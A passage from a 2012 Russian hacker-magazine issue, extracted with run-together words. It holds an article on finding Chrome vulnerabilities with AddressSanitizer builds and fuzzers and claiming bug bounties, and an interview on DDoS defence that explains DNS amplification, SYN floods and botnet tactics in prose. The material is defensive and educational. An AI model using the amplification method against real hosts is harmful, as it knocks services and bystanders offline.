реверсишьбинарь.Ручной поиск с тестированием проводитсяв случаях, когда автоматизировать процесс поискауязвимостей сложно. Допустим, это можетбыть проверка корректной работы политик безопасностив каких-либо специфических условияхили при использовании новых технологий, поискбагов, которые возникают, когда пользовательвыполняет определенную комбинацию действийчерез интерфейс. Ну вот как такое нафаззить?Да никак, поэтому тут можно или чисто случайнонайти баг, что одному ресерчеру удается не такчасто, а можно и целенаправленно исследоватьопределенную технологию, применяя нестандартноемышление хакера.ТЕСТОВАЯ ПЛАТФОРМА ДЛЯ <strong>CHROME</strong>Если ты собрался тестировать Chrome,то не забывай, что он работает на многихКажется, в Chrome нашлось переполнение кучи020ХАКЕР 02 /157/ 2012


Охота на жуков в Google Chromeи поэтому не могу знать об особенностях сборкибраузера на других системах.СБОРКА БРАУЗЕРАДля начала давай скачаем исходники браузерасо страницы проекта, а затем распакуем их.Теперь необходимо исправить файл .gclient,добавив туда следующие строки:"custom_deps" : {"src/third_party/asan":"http://src.chromium.org/svn/trunk/deps/third_party/asan",Это укажет конфигуратору, что нужно использоватьASan. Для сборки ASan необходимClang (bit.ly/mf7cuG). После его установки выполняемв командной строке сценарий ./build/install-build-deps.sh. Этот скрипт разрешитнужные зависимости и наведет порядок там,где это необходимо. Теперь следует настроитьпеременные окружения, выполнив следующиекоманды:AddressSanitizer диагностирует крашОСях: Windows (только 32 бита), Linux и Mac.Существует вполне весомая причина протестироватьего на всех доступных тебесистемах: какой-либо баг может не показатьсебя на одной операционке, зато успешнопроявится на другой. Например, недавно былобнаружен крайне интересный баг в библиотекеGNU C, который проявлялся исключительнопод Линуксом (crbug.com/48733).Также попробуй протестировать максимальноеколичество браузеров. Одновременномогут стоять только canary и любая другаяверсия, но не dev, beta или stable вместе (кешможно получить за версии stable, beta илиdev). Таким образом, после простых расчетовполучаем, что для фаззинга у нас есть какминимум 15 вариантов сборок браузера всеголишь от одного производителя. Это существенноповышает шансы найти уязвимость,а если у тебя имеется возможность фаззитьвсе это одновременно, то вообще прекрасно— процесс ускоряется в разы! Можноисследовать готовый бинарник, а можнои самому собрать браузер. Последний вариантимеет свои преимущества, о которых я сейчаси расскажу.Google Chrome можно собрать с ASan.Что такое ASan? Это сокращение от AddressSanitizer, который представляет собой ещеодин проект от гугловцев, призванный заменитьValgrind. Он работает гораздо быстрееValgrind. Если последний замедляет программув десять раз, то ASan — всего в два. Этот инструментпозволяет обнаруживать уязвимоститипа use-after-free, overflow/underflow кучии стека, а также другие багги, связанные с повреждениемпамяти. Кроме того, ASan находитбольше багов, чем старый добрый Valgrind. Онзаменяет malloc()/free() на свои функции, которые«маркируют» зоны вокруг используемойобласти памяти. Затем компилятор генерируеткод, который проверяет меченые зоны. Еслизапрошенный адрес помечен, выводится ошибка.Советую заглянуть на сайт проекта — тампредставлено достаточно примеров, которыепозволяют понять, как работает данныйинструмент.Подготовленный таким образом Chromeсильно облегчает задачу определения типа уязвимости,будь то heap buffer overflow, use-afterfreeили что-то другое. Для этого достаточно посмотретьв логи ASan. Однако не все так просто.В процессе компиляции браузера потребуетсяхорошее интернет-соединение для регулярнойсинхронизации исходников, а также довольномощный компьютер для сборки и последующегоанализа краша. Но обо всем по порядку.Прежде чем приступить к делу, хочусказать, что я использовал Ubuntu 10.10, x64export PATH=$HOME/depot_tools:$PATHcd srcASAN=`pwd`/third_party/asanASAN_BIN=$ASAN/asan_clang_Linux/binBLACKLIST="-mllvm -asan-blacklist=$ASAN/asan_blacklist.txt"CC="$ASAN_BIN/clang $BLACKLIST"CXX="$ASAN_BIN/clang++ $BLACKLIST"GYP_DEFINES='asan=1 linux_use_tcmalloc=0release_extra_cflags="-g -O1 -fno-inlinefunctions-fno-inline" ' gclient runhooksКоманда для сборки самого браузера выглядитвот так:make -j16 BUILDTYPE=Release CC="$CC" \CXX="$CXX" CC.host="$CC" \CXX.host="$CXX" LINK.host="$CXX" chromeНа моем компьютере сборка заняла меньшечаса. Но, как уже было упомянуто выше, этотпроцесс весьма требователен к конфигурации,поэтому советую выделить не меньше 50 Гбна жестком диске, как минимум 12 Гб оперативнойпамяти и использовать мощный процессор,чтобы сборка не затягивалась.ТОП-5 ИССЛЕДОВАТЕЛЕЙ GOOGLE <strong>CHROME</strong>1.2.3.4.5.СЕРГЕЙ ГЛАЗУНОВ (54 уязвимости)MIAUBIZ (49 уязвимостей)AKI HELIN (24 уязвимости)KUZCC (22 уязвимости)CHRISTIAN HOLLER (19 уязвимостей)ХАКЕР 02 /157/ 2012 021


COVERSTORYИЩЕМ БАГИЕсли браузер собрался успешно, то запускаемего с такими параметрами:ASAN_OPTIONS=stats=1 out/Release/chrome--no-sandbox 2>&1 | third_party/asan/scripts/asan_symbolize.py | c++filtБраузер запустится без песочницы, всеошибки будут перенаправлены на вход специальногофильтрующего скрипта, которыйотвечает за символы. Имей в виду, что утилитаaddr2line, которую использует этот скриптом,пожирает огромное количество памяти вовремя работы (у меня на нее уходило вплотьдо 9 Гб). В принципе, совсем необязательнозапускать браузер вместе с парсерами и инструментамидля сборки статистики, можнозапустить и так:out/Release/chrome --no-sandboxТеперь, когда ты научился правильно собиратьтестовую платформу, настало времявыбрать способ для поиска багов. По понятнымпричинам я не буду приводить здесь конкретныерецепты по багхантингу и перечислятьсоответствующие мануалы, но для началапосоветую остановиться на фаззинге и выбратьправильный софт (если, конечно, ты все-такине захотел или не смог использовать своисобственные наработки). На данный моментдоступно несколько достойных вниманияпубличных фаззеров браузеров: cross_fuzz, ref_fuzz, Canvas fuzzer от Michal Zalewski, jsfunfuzzот Jesse Rudermann, BF от Jeremy Brown. У всехперечисленных фаззеров разные принципыработы: фаззинг DOM, мутирование HTMLдокумента,фаззинг грамматики JavaScript,фаззинг canvas и WebGL. Большая часть этихфаззеров отработала свое и вряд ли сможетнайти новые уникальные уязвимости — всётребует доработки. Но разработчики браузеровпродолжают развивать некоторые фаззеры, напримерjsfunfuzz. Подробно описывать каждуюиз перечисленных программ было бы нецелесообразно,так что советую просто взять ихс нашего диска и самостоятельно попробоватьв деле.Ресерчеры недовольны правилами Pwn2OwnWinDbg схватил назойливый Stack overflow в ChromeВернемся к нашему браузеру. После выходановой сборки ты можешь обновить исходникис помощью команды «./gclient sync». Затемследует повторить вышеописанные операциидля поиска багов. Чтобы не вводить каждыйраз все команды при обновлении браузера,я использую простой bash-скрипт, которыйможно также найти на диске. Однако далеконе всегда полезно синхронизироваться, зачастуюлучше проверить состояние проектана странице bit.ly/s9wt5F. Если вверху виситстатус Open, то можно качать сорцы, еслиClosed, то Chrome может и не собраться.Информацию эта страница получает от ботов,которые регулярно в автоматическом режимесобирают браузеры в разных системах.Вероятно, тебя интересует, каковы шансынайти уязвимость в таком браузере, какChrome. Так вот, эти шансы весьма и весьманеплохи. За одну неделю фаззинга в Chromeмне удалось найти четыре уязвимости: однуDoS и три типа use-after-free. В то время яфаззил без ASan, поэтому предполагаю, чтовполне мог упустить часть уязвимостей иззасложности анализа или нехватки времени.ЖУК ПОЙМАН, ЧТО ДАЛЬШЕ?Итак, допустим, ты нашел баг в Chrome. Не спешисразу же о нем сообщать! Из обычногобага можно выжать гораздо больше, чем еслипросто раскрыть разработчикам свой Proofof-Concept.Тут есть масса нюансов, о которыхнужно обязательно рассказать. Для началанеобходимо понять, является ли обнаруженныйбаг настоящей уязвимостью или нет.В принципе, на странице проекта указано,какие именно баги не являются уязвимостями:DoS, OOM — баги истощения памяти, Stackexhaustion — истощение стека (например,когда функция попала в рекурсию). На всёостальное — переполнение буфера или кучи,use-after-free и прочие известные нам баги —следует обращать внимание. Если из-за DoSпадает весь браузер, то ее стоит пометить какSecurity (в багтраке такой баг будет помеченкак некритичный). Но большинство багов — это022ХАКЕР 02 /157/ 2012


Охота на жуков в Google Chromeдействительно только баги, поэтому, особенноесли долго занимаешься багхантингом, перестаешьрадоваться при виде очередного «Aw,Snap!». Иногда Chrome принудительно убиваетпроцесс, чтобы избежать всяких неприятностейтипа истощения памяти. Самая популярная уязвимостьсреди браузеров — это use-after-free,попытка использовать указатель на память послетого, как ее уже освободили. Баги поврежденияпамяти хорошо ловить инструментамитипа Valgrind или ASan. Это быстро и удобно,но можно, конечно, использовать и отладчикgdb или WinDbg. Под виндой я используюWinDbg — все нужные символы доступны с серверапроекта. И сразу предупрежу начинающих— если в стеке вызовов содержится многострок типа RelaunchChromeBrowserWithNewCommandLineIfNeeded, то это значит, что с символаминепорядок, их нужно перезагрузить:!sym noisy.reload /d /f /oПосле того как ты определил, что некий баг— это не просто краш таба, а самая настоящаяуязвимость, можешь отсылать отчет. А можешьи не отсылать. Дело в том, что оценка твоейуязвимости напрямую зависит от того, насколькоты облегчишь жизнь разработчикам.Чем проще понять, в чем суть бага, тем быстрейего исправят. В противном случае процессвыпуска релиза затянется, а ты не скорополучишь свой кеш. Образец, который тысобрался посылать, должен быть максимальноурезан и содержать только то, что крашит табили браузер. Так легче локализовать баг и понять,что именно вызывает краш. Да и отладка,конечно же, ускоряется и упрощается. Итак,красивый сэмпл есть, но к нему необходимоеще и описание. Без излишних эмоций и лирикинужно описать то, как заставить образецкрашить браузер. Или же, если там всё и такясно, можно просто написать, что при загрузкеприаттаченного файла происходит то-то и тото.Ну, или не файла, всё зависит от того, чтоты нашел. Лучше всего, если ты сам понял сутьбага и можешь четко и грамотно описать, гденаходится проблемный участок кода. Это ещеодин шанс повысить вознаграждение и избавитьразработчиков от лишней работы. Реальнокачественный отчет от Chris Rohlf оценилив целую штуку, хотя он и касался бага, которыйсоздает среднюю угрозу. Не знаю, что тут ещедобавить, видимо, стоит просто открыть и почитатьэтот сабмит по адресу crbug.com/63866.Однако здесь не стоит тянуть время, так каккто-нибудь может описать уязвимость раньшетебя. Однажды такое произошло и со мной.Сейчас я пишу эти строки, а чуть раньшена мой ящик пришло сообщение, что новаяуязвимость, о которой я сообщил, являетсядубликатом. Уязвимость тянула на критическийуровень. К сожалению, я опоздал всегона пару дней, и кеш получил человек, первымсообщивший о баге. Такие дубликаты сливают(делают merge) с ранее обнаруженной уязвимостью.Да, обидно, но ничего не поделаешь— не в первый и не последний раз, есть кучадругих жуков, которые скучают по нам.И вот, наконец-то, мы сообщили о своейпервой уязвимости, сидим и ждем. Нет,не ждем, а продолжаем искать другие уязвимости.Обычно на сообщение реагируют в течениесуток, затем констатируют критичностьуязвимости и подтягивают соответствующихразработчиков, которые начинают процессустранения бага и разработки патча.ПОЛУЧЕНИЕ КЕШАЭто одновременно и приятный, и муторный процесс.Точных сроков получения вознагражденияне существует, так как всё зависит от того,на каком этапе планирования релиза браузераты отправил сообщение о баге, а также от того,что он собой представляет. Бывает так, чтоуязвимость, которую ты нашел, не так-то простоисправить, ошибка может затрагивать сразунесколько компонентов и требовать от разработчикатщательной проверки. Теперь предположим,что тебе уже пообещали выплатитьопределенную сумму. Вернее, в баг-трекереуказали лейбл, например reward-500. Тытакже увидишь стандартный текст (Boilerplatetext) с предупреждением о том, что до выходаисправления нежелательно разглашать подробнуюинформацию об уязвимости, иначе этоможет привести к невыплате вознаграждения.Затем тебе нужно дождаться, когда с тобойсвяжется Chris Evans и сообщит о дальнейшихVupen демонстрирует эксплойт для Google Chromeдействиях — он дает ссылки на форму, которуюнужно заполнить, чтобы стать подрядчикомGoogle. Ужасная форма, я тебе скажу. Вопервых,она на английском, что, может, не такуж и страшно, во-вторых, там присутствуетмножество полей, которые не так-то просто заполнить.К тому же, если ты не гражданин США,то тебе придется заполнить еще и специальныйPDF-файл, отсканировать его и отправитьпо мылу. В этих формах следует указать информациюо реквизитах твоего банковского счетаи некоторую другую персональную информациювроде почтового адреса, телефона и т. д. Затем,в зависимости от того, насколько быстро тысправишься и когда отреагирует человек, которыйуправляет тикетами, тебя примут в системуGoogle. Заполнять больше ничего не понадобится.Через какое-то время после регистрациитебе сообщат, что деньги находятся в системеперевода.ДОМАШНЕЕ ЗАДАНИЕНадеюсь, мне удалось заинтересовать тебя ресерчемGoogle Chrome, ведь Hall of Fame всегдаждет новых исследователей. Для начала посетибаг-трекер Хрома — обещаю, что там не соскучишься.На баг-трекере можно найти и полезныекомментарии от команды безопасников, и анализуязвимостей, и немало смешных перловот пользователей. Полагаю, я привел достаточноеколичество аргументов, чтобы мотивироватьтебя на поиски уязвимостей в Google Chrome. zХАКЕР 02 /157/ 2012 023


COVER STORYотрядAntiО DDOS-АТАКАХ В ОБЩЕМАтаки появились на заре интернета. Невозможносказать, когда возникла такая услуга,как DDoS, — это тайна, покрытая мраком.Не скажешь ведь: «Я был первым, кто заказалатаку в 1998-м!»Знакомство с DDoS для меня лично началосьво время проекта IT Territory в 2003 году,когда игра только стартовала. Она имела достаточноагрессивную рекламную кампанию,в ответ на которую тут же прилетел DDoSот конкурентов. Скажу честно, я растерялся.Больше всего из-за того, что компания,которая оказывала хостинг-услуги, не простоне смогла, а не пожелала бороться с атакой.Ее представители сказали, что это не их проблема.Буквально за ночь мы переосмыслилиструктуру приложения и перестроили его.Ресурс поднялся, но атака перестала работатьна уровне приложения. Злоумышленникиперевели атаку на сетевой уровень, в результатечего отключилась вся сеть компании,предоставляющей хостинг. Тогда уже онапришла к нам с просьбой сделать что-нибудь.На вопрос «а что сделать-то?» последовалответ: «Ну договоритесь как-нибудь, вы жезнаете, кто вас атакует». Мы, естественно,не знали и договориться не могли. Да и какдоговариваться с террористами?Компания, которая, казалось бы, должназаботиться о клиентах, не сделала ничего.024ХАКЕР 02 /157/ 2012


Борьба с DDoS-ом глазами Highload LabАЛЕКСАНДРDDoSЛЯМИНБОРЬБА С DDOS-ОМ ГЛАЗАМИ HIGHLOAD LABИ не потому, что она плохая и хостинг некачественный,а потому, что она не могла ничегосделать.Самые популярные DDoS-атаки — это,конечно, атаки, организованные с помощьюботнетов. Это доступный способ сделать атакураспределенной.Стоимость атаки сильно зависит от того, какона реализуется. Исполнителем может выступатьстудент, который сам что-то написали готов поработать за пиво, а может и организованнаягруппировка.Есть типы атак, которые могут стоить,по слухам, полмиллиона рублей и больше. Мывыделяем атаки базового типа: до пяти тысячботов, проведение на уровне приложения,одна стратегия. Для исполнителя тут нет ничегосложного — получил WMZ, нажал кнопку,пошел пить пиво. Это стоит примерно $30–100в сутки. Но есть и атаки другого рода, когдавидно, что работает команда, и работает она24/7 — на результат. Если у нее не получаетсядобиться результата, она постоянно переключаетрежимы атаки, меняет стратегию,пытается найти уязвимое место и прорваться.Конечно, такое стоит далеко не $100 в сутки.Россия выделяется среди других стран гораздоболее изощренными атаками. Европейцыв шоке от того, насколько сложны наши атаки.Например, к нам недавно обратилась однакомпания, которая работает на российскомрынке, но все ее информационные структурырасположены в одном из ведущих европейскихдата-центров. Когда компания к нам обратилась,дата-центр испытывал серьезные проблемыи был недоступен. Мы подготовилиськ приему компании на своей сети и прогреликарантинное оборудование, ожидая чего-тоэкстраординарного, ведь дата-центр «умер»!Каково же было наше удивление, когда мыувидели, что, хотя атака проводится на уровневыше среднего, она не представляет собойничего особенного.Законодательство крайне слабо в вопросахпривлечения к ответственности за DDoS,из-за чего злоумышленники чувствуют себяфактор безнаказанными. Для квалифицированногопрограммиста проведение DDoS-атакна заказ становится абсолютно безопаснымприбыльным делом, доход от которого можетпревышать текущие зарплаты на рынке в десяткираз.Мотивы для DDoS — это, как правило, деньгии просто личная неприязнь. De facto мы живемв информационном обществе. Скорость распространенияинформации влияет на негопрямым образом. Заблокировав источникинформации, можно необратимо повлиятьна общество. Соответственно, DDoS — это эффективноесредство блокировки какого-либоисточника информации на необходимое время.В качестве примера можно привести сайтSlon.ru. Сайт работал, всё грузилось, но атакане спадала. Такие атаки называют комбинированными.Когда они к нам пришли, она веласьна сетевом уровне, на полосу. Когда злоумышленникиувидели, что заполнение полосывообще не дает результата, началась атакаapplication-уровня. В ботнет, использовавшийсядля проведения атаки, входило порядка200–270 тысяч ботов.Наиболее подвержены DDoS-атакам достаточноузкие направления интернет-бизнесас высокой конкуренцией. Хороший пример —пиратские клоны Lineage II. Такие сервисы —вообще отдельная история, ведь они являютсячисто коммерческими. Если в два часа ночик тебе в ICQ стучится кто-то и, допустив восемьорфографических ошибок в четырех предложениях,требует (!), чтобы ты немедленноему помог, можно не сомневаться, что это он!Администратор пиратки Lineage!DDoS-атакам подвергаются и те сайты, гдетрудно их ожидать. У нас, например, естьтакой внутренний мем — «кедровые бочки».Онлайн-магазин, который, не поверите, продаеткедровые бочки, подвергся серьезнойDDoS-атаке. Это очень узкий, высококонкурентныйвид деятельности, которая, видимо,приносит хорошую прибыль.ТЕХНИЧЕСКАЯ СТОРОНА DDOSЗачем вообще нужно классифицировать атаки?Чтобы понять, разложить по полочкам ихмеханизм работы и предпринять адекватныеконтрмеры.ХАКЕР 02 /157/ 2012 025


COVER STORYНаши коллеги по цеху пытаются как-то классифицироватьатаки. На одном сайте можнонайти и ICMP spoof, и DNS amplification, и TCPSYN flood, TCP RST flood — парни перечисляюттехники проведения атак. Много страшныхбукв, которые для обычного пользователя никакогосмысла не несут. Такая классификациянас не устраивает.Мы классифицируем атаки очень просто:атаки на приложения, атаки на канальнуюполосу (скорость измеряется в гигабитах/с),атаки на сетевую инфраструктуру (скорость измеряетсяв пакетах в секунду), атаки на транспортныйуровень (стек TCP/IP).Самая мякотка — это уровень приложения.Почему? Потому, что у атак уровня приложенияплечо максимально. Плечо атаки — это отношениересурсов, необходимых на стороне атакующих,к ресурсам, необходимым на сторонеприложения (на стороне защищающихся).Возьмем какой-нибудь средний интернетмагазин.Можно найти ссылку, обычную ссылку,определенное количество обращений в секундук которой убьет этот магазин напрочь.Таких приложений много, и для того чтобы ихубить, иногда и ботнет не нужен — достаточносотового телефона даже не с EDGE, а с GPRS.Четыре-пять запросов в секунду, и приложениевыкидывается в outflow и не может выйти оттудадо перезагрузки сервера. Этим обусловленапопулярность атак на уровне приложений.Еще есть транспортный уровень — атаки, направленныена сам стек TPC/IP. К этому типуотносятся атаки типа SYN-флуд, RST-флуд илиFIN-way — модная сейчас атака с некорректнымзакрытием соединения, которая, кстати,тоже эксплуатирует уязвимость спецификациипротокола, а не реализации.К наиболее популярным методикам относитсяDNS amplification. Достаточно найти любойсетевой сервис IDP based без handshake,послать пакет размером N с фальсифицированнымисточником и в ответ получить пакет Nx K. В таком случае для реализации распределеннойатаки нужно иметь список IP-адресов,на которых есть эти сервисы, один оченьхорошо подключенный сервер на гигабите,который выдаст набор пакетов в эти «отражатели»с поделанным IP-адресом жертвы.Пакет отправится к жертве и снизит до нуля еепропускную способность и выведет ее из рабочегосостояния. Речь идет о сервере DNS— UDP 53, где можно сделать такую штуку, какрекурсивный запрос по зоне. Сам по себе оннебольшой, а вот ответ на него будет длинным.Чтобы дополнительно увеличить коэффициентK атаки, достаточно «подкормить» эти серверакаким-нибудь большими фальшивыми доменнымизонами. Получая их рекурсивно, с поддельнымадресом жертвы, можно увеличить Kв разы. Второй вариант — это NTP, протоколсинхронизации времени, который тоже имеетуязвимости подобного рода при плохо сконфигурированныхсерверах.Атака типа SYN-флуд появилась одновременнос TCP-протоколом. Первое упоминание о ней явстретил, по-моему, в 1982 году. Как ни странно,она эффективна по сей день. История развиваетсяпо спирали. Сто-пятьсот SYN-запросовв секунду — это, конечно, этап давно пройденный.В настоящее время при наличии достаточныхпроцессинговых мощностей можно легкопревзойти и цифру в 10 млн пакетов в секунду.В момент отправки пакета с запросомна соединение партнер должен сгенерироватьsequence-номер (а это требует вычислений, таккак он должен быть случайным, криптостойкимчислом) и создать в своем стеке определенноюзапись. На это нужны ресурсы, ресурсы и ещераз ресурсы. На то, чтобы послать пакет, сгенерировавего трафик, требуется существенноменьше ресурсов, чем на действия, выполняемыена стороне сервера. Получаем плечо атаки.Проблема существует внутри самого протокола,в его спецификации. Когда разрабатывалсяTCP/IP-стек, никто не думал, что интернетразрастется до таких масштабов по количествуузлов, достигнет таких скоростей и, чтонемаловажно, будет прокачивать через себястолько денег.Существуют атаки, которые не используютботнеты. Распределенную атаку можно провестии с помощью механизма отражения.Классика жанра — атаки DNS amplificationс отражением и увеличением мощности.Атаки на инфраструктуру затрагивают всё,что лежит вокруг сетевой инфраструктуры:протоколы маршрутизации и само оборудование,если менеджмент-модули имеют открытыйIP-адрес.Что такое атаки на сетевом уровне? Простозалить полосой в 56 Гбит — это clustery sortназывается. Это последнее средство, когданичего уже не помогает. Такие атаки очень дорогии чрезвычайно разрушительны не толькодля самой жертвы, но и для всех, кто «стоитрядом». Как правило, они не могут продолжатьсядольше двух-трех суток, так как начинаютдоставлять проблемы даже источникаматаки — сетям, с которых она производится.Базовые атаки, совершаемые с помощьюботнетов, которые насчитывают около 200ботов и ничего, кроме «get корень», не умеют,в принципе не должны представлять собойпроблему для грамотно написанного ресурса.О ЗАЩИТЕ ОТ DDOSОт любой атаки можно защититься. Мы в этомне сомневаемся.Обычно, когда на клиента начинается DDoSатака,хостер не находит ничего умнее, чемпросто отключить его, так как боится, что полягути другие его клиенты.Когда к нам приходит клиент, мы объясняем,что ему необходимо перевести DNS на нашIP-адрес (которой мы ему выделяем). Также,чтобы избежать атаки на прямой IP клиента,который уже засвечен в сети, необходимо егокак минимум поменять, а как максимум — поменятьэтот IP и дополнительно скрыть с помощьюнастроек iptables или файервола всеIP-адреса, кроме наших.Как только перестраивается DNS, начинаетсяфильтрация. А дальше происходит самоеинтересное — обучение фильтров. Обычно мызадаем для себя планку: после двух часов податакой ресурс клиента должен начать работать.И в целом ее выдерживаем.Система защиты нашего сервиса Qratorоснована на множестве математических построений.Как обычно отвечает Яндекс на вопрос«а как у вас поиск устроен?»? Да просто!Берем текст, токенчики, разделители, строиминдескы, ранжируем. У нас примерно то жесамое, только мы решаем задачу по анализуи фильтрации трафика. Ее решением занятомножество людей.Поведенческий анализ — один из наиболееэффективных методов фильтрации трафика.Мы рассматриваем сайт как дерево переходов.В узлах дерева находятся странички, а вребра мы закладываем вероятность переходаи задержку при переходе. В основе лежиттот простой факт, что роботы и люди видятвеб-страницы по-разному. Когда временина обучение достаточно, люди «натаптывают»в этих переходах определенные уплотнения— тропинки. Всё посетители, которые из нихвыпадают, с той или иной вероятностью являютсяроботами. Вроде бы всё просто. С другойстороны, если прикинуть, какие объемы памятии вычислительные ресурсы понадобятсядля обработки, ты поймешь, что, наверное,при текущих вычислительных мощностях этоне так-то просто.Если клиент приходит к нам уже под атакой,обучаться на атаке... не невозможно, но сложно.Часто это требует мониторинга со стороныинженера. Именно поэтому за подключениепод атакой мы вынуждены брать некоторуюдополнительную плату.Мы рекомендуем подключаться к нашей сетидо DDoS-атаки. Конечно, мы стараемся минимизироватьвремя обучения под атакой. У насоно составляет не неделю, как у Cisco Guard(это наш железный конкурент, который снятс производства), а всего несколько часов.Любой, кто скажет, что false positive у негоноль, — шарлатан. Ложные срабатывания(когда в черные списки попадают легитимныепосетители), к сожалению, неизбежны.026ХАКЕР 02 /157/ 2012


Борьба с DDoS-ом глазами Highload LabХотя бы потому, что есть прокси, есть NAT’ы,есть просто люди, которые ведут себя не какобычные пользователи. Классический пример— администраторы сайтов. Администраторможет нагрузить сервер, как 30, 40 и даже 100пользователей.К Cisco Guard у нас была одна претензия:когда к нему подключаешь атакуемый сервис,то независимо от того, есть там инженер илинет, первые сутки сервис работает так, чтолучше бы он не работал вообще. Отсюда сталоясно, что от DDoS-атак невозможно защищатьна прикладном уровне, не понимая семантикупротокола приложения. Семантический анализобязателен, как и поведенческий.Мы отчетливо понимаем, что «серебрянойпули нет»: то, что будет хорошо работатьв одних ситуациях, не будет работать в других.Классификатор Qrator — это сложныйнабор алгоритмов, которые образуют системуголосования. Инструментарий мы стараемсяразвивать и дописывать и, надеюсь, найдемеще какие-нибудь эффективные методы в ближайшеевремя. Кое-какие задумки уже есть.Примерно в один миллион долларов обойдетсяжелезка от Arbor, способная почистить10 Гбит. Плюс человек, плюс канальныеемкости... При этом атаки скоростью выше 10Гбит/c мы наблюдаем примерно раз в месяцполтора.Мы склонны выделять два типа полос: активныеи пассивные. В активноц полосе можнотерминировать и проанализировать любоеTCP-соединение и принять по нему решение.Полоса пассивная — это полоса, для управлениякоторой нужно задать бит-маску, по которойбудет резаться трафик. Таким образом,что-то интеллектуальное там порезать нельзя.Если говорить об активной полосе, то почтивсе наши поставщики трафика при необходимостиблокируют UDP с определенного адреса,все ICMP или ICMP по определенной сигнатуре.На такой полосе мы спокойно проживали 57Гбит. Уверены, что можем проживать и больше.Такие атаки не вызывают особых проблем,кроме необходимости оплачивать эту полосу,то есть мы говорим о цифре более 100 Гбит дляпассивной полосы. Как следует из ситуациис DDoS-атаками на российском рынке, этоговполне достаточно.Преимущество Qrator (как сервиса) передкупленным Arbor состоит в том, что наше решениене является точечным. Сеть построенапо BGP-AnyCast, мы выбираем для установкиточек исключительно магистральных операторов.Мы не ставим точки на public exchangeпросто потому, что это не гарантирует качествасервиса. Сеть развивается благодаря нашимсобственным алгоритмам моделирования. Мыстроим ее так, чтобы можно было распределятьнагрузку на элементы сети более-менееравномерно.Внутри точки присутствия система тоже масштабируема.Точка — это не одна «железка»,их несколько. Есть карантинное оборудование,на которое «приземляются» некоторыеатаки.Мы создали модель, позволяющую математическирассчитать, как распределитсятрафик по интернету при появленииопределенных анонсов BGP. Это позволяетнам гармонично развиваться и строить сеть,которую действительно можно балансироватьпо узлам.Мы не завязаны на одного оператора связии стараемся распределять риски по всем операторам,с которыми работаем.Мы долго пытались разобраться с TCP/IPстеком,смотрели на Free BSD и Linux и в итогепришли к выводу, что стек в его теперешнемсостоянии нам совершенно не нравится.У нас есть своя облегченная версия TCP/IP,которая очень хорошо себя ведет на текущихкороткоживущих протоколах, быстрых TCPсоединениях.КОГДАРАЗРАБАТЫВАЛСЯTCP/IP-СТЕК,НИКТО НЕ ДУМАЛ,ЧТО ИНТЕРНЕТРАЗРАСТЕТСЯДО ТАКИХ МАСШТАБОВМы не скрываем, что узел фильтрации работаетпод управлением Linux. Линкус — этотакой контейнер, в котором осуществляетсяуправление платформой и выполняются математическиепреобразования, необходимые дляповеденческого анализа. Существенная частьTCP-стека живет в самой TCP-карте, поэтому,собственно, у нас получились такие хорошиепоказатели скорости\обработки пакетов. Одиннаш узел фильтрации в состоянии перелопатить6 Гбит трафика.От атак базового уровня защититься можно.Для этого нужно обязательно иметь выделенныйхостинг, а также возможность скомпилироватьмодули и свою версию веб-сервера. Статейна эту тему написано много, и я, наверное,отошлю вас к своей статье 2008 года (найтиее можно в блоге на highloadlab.ru). Это однаиз первых статей, в которой доступно изложено,что и как следует сделать. Также рекомендуюознакомиться с презентацией «Практическоеруководство по выживанию в DDoS», которуюмы показывали на Highload++ в 2009 году.Мы пытались писать статьи на Хабре и рассказыватьна отраслевой конференции, каксамостоятельно защититься от атак базовогоуровня. Но, к сожалению, это не возымелоникакого эффекта.О БОТНЕТАХDDoS — это один из способов монетизацииботнета, но далеко не самый прибыльный. Ещеесть спам, фрод, скликивание рекламы и такдалее.Я перечислил свойства ботнета на слайде дляодной достаточно старой презентации. Когдая делал тот слайд, он казался мне абсолютноправильным:1. Жадность. Ботнет старается нанести приложениямкак можно больше вреда за единицувремени.2. Ущербность. Ботнет не являет браузером.Это некий HTTP-стек, встроенный в червь.Как правило, он не умеет ставить корректныезаголовки, не обладает JS-движкомили обладает в ограниченном виде.3. Самосохранение. Ботнет — ценный ресурс,и любые действия, приводящие к сокращениюего размера приносят прямые финансовыеубытки атакующим. Ботнет стараетсяне производить действий, которые моглибы его демаскировать и отразиться на материнскойсистеме.4. Транснациональность. Ботнеты раскиданыпо всему «шарику».5. Конечность.Пару лет назад мы первый раз увиделимедленный ботнет, который не был жадным...Он делал один абсолютно легитимный запросраз в пять минут. Мы удивились, но при этомботнет, насчитывавший 75 тысяч ботов, всё жедоставлял проблемы. Попробуйте-ка отфильтроватьЭТО.Сейчас из всех пунктов, перечисленныхвыше, остался только один — желаниеботнета самосохраняться. Ботнеты уже давноне жадные, не тупые и не ущербные. Сейчасмы имеем дело с полноценными минимизированнымивеб-браузерами с Java-скриптами,редиректами, cookies.Раздать команды членам 20-тысячного ботнетас учетом того, что инициатором соединенийявляется сам бот, — задача не самая тривиальная.Как правило, контрольные панели,к нашему удивлению, пишутся на том же самомLAMP Stack (Linux, Apache HTTP Server, MySQLи PHP). До 2010 года разворачивание ботнетапятитысячникав направлении ресурса жертвызанимало 30–40 минут.В 2010-м управление ботнетами начали организовыватьс помощью P2P. Ребята стали простосупербыстро раздавать команды: в течениеХАКЕР 02 /157/ 2012027


COVER STORYпяти-шести минут ботнет, насчитывающий 10-20 тысяч ботов, может распространить командувнутри себя и развернуться на ресурс.Ботнеты стараются как можно более точноимитировать поведение пользователей, чтобызатруднить их обнаружение и фильтрацию, выделениетела ботнета и блокировку.В последние три месяца особой популярностьюпользуется ботнет MinerBot, которыйдобывает BitCoin. Он приходит на титульныестраницы без реферера, случайным образом,переходит по ссылкам и действительно создаетпроблемы для решений вроде Cisco и Arbor.Они не в состоянии отфильтровать MinerBot,потому что он не обладает ни одним из техизъянов, на обнаружение которых ориентированыэти решения.Ботнеты также перестали быть транснациональными— загрузки легко продают по регионам.Первый раз мы такое увидели в 2009 году,когда к нам «пришел» ботнет на 1500 голов,и все чистое СНГ.«Засыпающий ботнет» — так мы называемдовольно модную атаку. Ботнет обнаруживает,что он весь зафильтрован, раздает командуи централизовано прекращает атаку. Послеэтого рандомный член ботнета посылаеттестовые запросы в ожидании, когда фильтротключится. Как только он отключается, атакав течение трех-пяти минут возобновляетсяв полном объеме. Это опасно тем, что подобнаяатака может длиться бесконечно — никакихресурсов, с точки зрения ботовода, она не потребляет.Разные ботнеты здорово отличаются другот друга. Сама техника атак постоянно меняется.С ботнетами-миллионниками наблюдаетсяочень интересная ситуация. В последние нескольколет существенно возросло количествотех, кто хотел бы обзавестись своим ботнетом.Простой 